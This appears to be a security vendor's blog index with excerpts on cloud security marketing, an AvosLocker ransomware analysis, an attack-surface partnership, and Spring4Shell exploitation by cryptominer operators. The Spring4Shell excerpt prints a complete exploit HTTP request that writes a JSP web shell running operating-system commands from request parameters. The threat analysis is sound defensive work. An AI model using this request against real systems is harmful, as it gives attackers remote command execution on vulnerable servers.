Cloud-Native App Security Platform

The cloud is driving transformative benefits for global organizations. But in rushing their applications and infrastructure into new computing environments, they’re also exposing business-critical data to new risks. There are now more ways for the bad guys to steal data, deploy malware, hijack resources, and hold them to ransom. The complexity of hybrid and multi-cloud environments and the need to coordinate across multiple stakeholder groups further compound these challenges. The answer is a simple, flexible,…

AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell

Conclusion While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver…

Attack Surface Management Partner Bit Discovery Bolsters Offering

Security starts with visibility: you can’t protect what you can’t see. And yet, this is a perennial problem in cybersecurity. We’re excited to bring attack surface discovery capabilities to the Trend Micro One platform, providing ongoing visibility to internal assets (devices, identities, applications) but also external, Internet-facing assets. And we’re doing the latter in partnership with Bit Discovery, an innovative start-up founded by Jeremiah Grossman (previously co-founder of WhiteHat Security). How bad is the attack…

Spring4Shell Vulnerability CVE-2022-22965 Exploited to Deploy Cryptocurrency Miners

Among the exploitation attempts were ones aimed at deploying cryptocurrency miners. In this section, we look at how the malicious actors behind these exploitation attempts create a web shell to deploy their cryptocurrency miners. The following code is used to create the web shell: GET /?class.module.classLoader.resources.context.parent.pipeline.first.prefix=zbc0fb&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bx%7Di+try+%7BRuntime.getRuntime%28%29.exec%28System.getProperty%28%22os.name%22%29.contains%28%22ndo%22%29+%3F+new+String%5B%5D%7B%22cmd.exe%22%2C+%22%2Fc%22%2C+request.getParameter%28%22w%22%29%7D+%3A+new+String%5B%5D%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+request.getParameter%28%22l%22%29%7D%29%3B%7D+catch+%28Exception+e%29+%7B%7D%3Bout.print%28%22%40pong%22%29%3B+%25%7Bz%7Di HTTP/1.1 Host: <redacted>:<redacted> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: */* Accept-Language: en-US,en;q=0.5 X: <% Y: Runtime Z: %>// Accept-Encoding: gzip   The web shell’s…
